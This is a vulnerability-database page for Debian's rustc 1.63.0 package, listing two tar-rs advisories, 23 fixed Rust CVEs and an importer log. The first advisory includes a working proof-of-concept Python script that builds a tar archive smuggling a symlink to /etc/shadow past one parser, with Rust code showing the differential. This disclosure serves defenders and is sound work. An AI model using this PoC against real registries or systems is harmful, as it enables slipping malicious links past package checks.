Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2?distro=trixie
purl pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2?distro=trixie
Next non-vulnerable version 1.89.0+dfsg1-1
Latest non-vulnerable version 1.94.1+dfsg1-1
Risk 3.6
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-ehdy-7aak-r3bt
Aliases:
CVE-2026-33055
GHSA-gchp-q4r4-x4ff
tar-rs incorrectly ignores PAX size headers if header size is nonzero ### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.
1.92.0+dfsg1-2
Affected by 0 other vulnerabilities.
1.93.1+dfsg1-2
Affected by 0 other vulnerabilities.
1.94.1+dfsg1-1
Affected by 0 other vulnerabilities.
VCID-qj1y-b8m1-hyfm
Aliases:
CVE-2026-33056
GHSA-j4xf-2g29-59ph
tar-rs `unpack_in` can chmod arbitrary directories by following symlinks ## Summary When unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. ## Reproducer A malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory. ## Fix The fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed. ## Credit This issue was reported by @xokdvium - thank you!
1.92.0+dfsg1-2
Affected by 0 other vulnerabilities.
1.93.1+dfsg1-2
Affected by 0 other vulnerabilities.
1.94.1+dfsg1-1
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (23)
Vulnerability Summary Aliases
VCID-14pa-2rzz-kfg7 Multiple vulnerabilities have been found in Rust, the worst which may allow local attackers to execute arbitrary code. CVE-2018-1000622
VCID-4khp-kevq-xff5 Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-28875
VCID-69zd-gcvx-fuhr Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-42574
VCID-7ap9-xghv-dbdy Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-28876
VCID-7xc5-1vxj-4ua7 rust: synchronization problem in the MutexGuard object CVE-2017-20004
VCID-99d1-r35m-6kgw rust: weak synchronization in the Arc::get_mut method CVE-2018-25008
VCID-d8yv-ngej-1kf7 Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-31162
VCID-dnx4-ezu6-ffdn rust: Rust standard library did not properly escape arguments when invoking batch files on Windows using the Command API CVE-2024-43402
VCID-eahp-bdsv-mycz The Rust Programming Language Standard Library 1.34.x before 1.34.2 contains a stabilized method which, if overridden, can violate Rust's safety guarantees and cause memory unsafety. If the `Error::type_id` method is overridden then any type can be safely cast to any other type, causing memory safety vulnerabilities in safe code (e.g., out-of-bounds write or read). Code that does not manually implement Error::type_id is unaffected. CVE-2019-12083
VCID-f4bw-5erp-4uc6 Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-29922
VCID-fu46-5dhv-ckdt Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-28877
VCID-g6ey-xfpk-ayck rust: Rust standard library didn't detect all path separators on Cygwin CVE-2025-11233
VCID-j9kg-rd4y-y7by Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2022-21658
VCID-jnv2-zv2x-8yc5 In the standard library in Rust before 1.2.0, BinaryHeap is not panic-safe. The binary heap is left in an inconsistent state when the comparison of generic elements inside sift_up or sift_down_range panics. This bug leads to a drop of zeroed memory as an arbitrary type, which can result in a memory safety violation. CVE-2015-20001
VCID-mwu8-vn8b-rfb3 rust: Fail to Escape Arguments Properly in Microsoft Windows CVE-2024-24576
VCID-pbjz-th4w-tqgb Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-28879
VCID-pg4p-jbym-qqb6 Multiple vulnerabilities have been found in Rust, the worst which may allow local attackers to execute arbitrary code. CVE-2018-1000810
VCID-pvm9-wtbx-1ubx Multiple vulnerabilities have been discovered in Rust, the worst of which could result in denial of service. CVE-2021-28878
VCID-ra1h-asnb-53eh rust: Buffer Overflow vulnerability in std::collections::vec_deque::VecDeque::reserve() function CVE-2018-1000657
VCID-wdu6-3vph-aqb7 rust: use-after-free or double free in VecDeque::make_contiguous CVE-2020-36318
VCID-wpe1-jr23-duhh rust: optimization for joining strings can cause uninitialized bytes to be exposed CVE-2020-36323
VCID-y25s-c64z-57a6 rust: memory safety violation in String::retain() CVE-2020-36317
VCID-y2yd-nyfc-ckec rust: print of uninitialized memory in the debug trait implementation for std::collections::vec_deque::Iter CVE-2019-1010299

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-17T22:44:55.286526+00:00 Debian Importer Affected by VCID-qj1y-b8m1-hyfm https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:55.225431+00:00 Debian Importer Affected by VCID-ehdy-7aak-r3bt https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:55.028320+00:00 Debian Importer Fixing VCID-j9kg-rd4y-y7by https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.972788+00:00 Debian Importer Fixing VCID-69zd-gcvx-fuhr https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.917030+00:00 Debian Importer Fixing VCID-d8yv-ngej-1kf7 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.860725+00:00 Debian Importer Fixing VCID-f4bw-5erp-4uc6 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.799945+00:00 Debian Importer Fixing VCID-pbjz-th4w-tqgb https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.736828+00:00 Debian Importer Fixing VCID-pvm9-wtbx-1ubx https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.673068+00:00 Debian Importer Fixing VCID-fu46-5dhv-ckdt https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.608135+00:00 Debian Importer Fixing VCID-7ap9-xghv-dbdy https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.544254+00:00 Debian Importer Fixing VCID-4khp-kevq-xff5 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.484513+00:00 Debian Importer Fixing VCID-wpe1-jr23-duhh https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.421185+00:00 Debian Importer Fixing VCID-wdu6-3vph-aqb7 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-17T22:44:54.360154+00:00 Debian Importer Fixing VCID-y25s-c64z-57a6 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T12:07:55.608544+00:00 Debian Importer Fixing VCID-dnx4-ezu6-ffdn https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T11:33:25.401900+00:00 Debian Importer Fixing VCID-pg4p-jbym-qqb6 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T11:15:37.076042+00:00 Debian Importer Fixing VCID-jnv2-zv2x-8yc5 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T09:51:06.791166+00:00 Debian Importer Fixing VCID-ra1h-asnb-53eh https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T09:42:17.347769+00:00 Debian Importer Fixing VCID-14pa-2rzz-kfg7 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T09:14:40.634459+00:00 Debian Importer Fixing VCID-7xc5-1vxj-4ua7 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T09:12:09.870776+00:00 Debian Importer Fixing VCID-g6ey-xfpk-ayck https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T09:02:06.204079+00:00 Debian Importer Fixing VCID-mwu8-vn8b-rfb3 https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T08:56:02.889352+00:00 Debian Importer Fixing VCID-99d1-r35m-6kgw https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T08:55:37.116763+00:00 Debian Importer Fixing VCID-y2yd-nyfc-ckec https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-16T08:49:13.718339+00:00 Debian Importer Fixing VCID-eahp-bdsv-mycz https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-13T08:17:46.995242+00:00 Debian Importer Fixing VCID-dnx4-ezu6-ffdn https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-13T07:52:42.868877+00:00 Debian Importer Fixing VCID-pg4p-jbym-qqb6 https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-13T07:39:30.631665+00:00 Debian Importer Fixing VCID-jnv2-zv2x-8yc5 https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-13T06:35:11.551000+00:00 Debian Importer Fixing VCID-ra1h-asnb-53eh https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T18:27:13.149511+00:00 Debian Importer Fixing VCID-14pa-2rzz-kfg7 https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T18:10:54.882884+00:00 Debian Importer Fixing VCID-7xc5-1vxj-4ua7 https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T18:09:28.471819+00:00 Debian Importer Fixing VCID-g6ey-xfpk-ayck https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T18:03:28.395547+00:00 Debian Importer Fixing VCID-mwu8-vn8b-rfb3 https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T17:59:43.060740+00:00 Debian Importer Fixing VCID-99d1-r35m-6kgw https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T17:59:26.096199+00:00 Debian Importer Fixing VCID-y2yd-nyfc-ckec https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T17:55:32.978786+00:00 Debian Importer Fixing VCID-eahp-bdsv-mycz https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-03T07:52:36.235737+00:00 Debian Importer Affected by VCID-qj1y-b8m1-hyfm https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:36.209247+00:00 Debian Importer Affected by VCID-ehdy-7aak-r3bt https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:36.155625+00:00 Debian Importer Fixing VCID-g6ey-xfpk-ayck https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:36.114347+00:00 Debian Importer Fixing VCID-dnx4-ezu6-ffdn https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:36.072593+00:00 Debian Importer Fixing VCID-mwu8-vn8b-rfb3 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:36.024288+00:00 Debian Importer Fixing VCID-j9kg-rd4y-y7by https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.975125+00:00 Debian Importer Fixing VCID-69zd-gcvx-fuhr https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.923802+00:00 Debian Importer Fixing VCID-d8yv-ngej-1kf7 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.874753+00:00 Debian Importer Fixing VCID-f4bw-5erp-4uc6 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.822399+00:00 Debian Importer Fixing VCID-pbjz-th4w-tqgb https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.768707+00:00 Debian Importer Fixing VCID-pvm9-wtbx-1ubx https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.714359+00:00 Debian Importer Fixing VCID-fu46-5dhv-ckdt https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.660064+00:00 Debian Importer Fixing VCID-7ap9-xghv-dbdy https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.605836+00:00 Debian Importer Fixing VCID-4khp-kevq-xff5 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.556012+00:00 Debian Importer Fixing VCID-wpe1-jr23-duhh https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.504446+00:00 Debian Importer Fixing VCID-wdu6-3vph-aqb7 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.449596+00:00 Debian Importer Fixing VCID-y25s-c64z-57a6 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.400242+00:00 Debian Importer Fixing VCID-eahp-bdsv-mycz https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.352184+00:00 Debian Importer Fixing VCID-y2yd-nyfc-ckec https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.310232+00:00 Debian Importer Fixing VCID-99d1-r35m-6kgw https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.260958+00:00 Debian Importer Fixing VCID-pg4p-jbym-qqb6 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.211726+00:00 Debian Importer Fixing VCID-ra1h-asnb-53eh https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.160244+00:00 Debian Importer Fixing VCID-14pa-2rzz-kfg7 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.117941+00:00 Debian Importer Fixing VCID-7xc5-1vxj-4ua7 https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-03T07:52:35.072761+00:00 Debian Importer Fixing VCID-jnv2-zv2x-8yc5 https://security-tracker.debian.org/tracker/data/json 38.1.0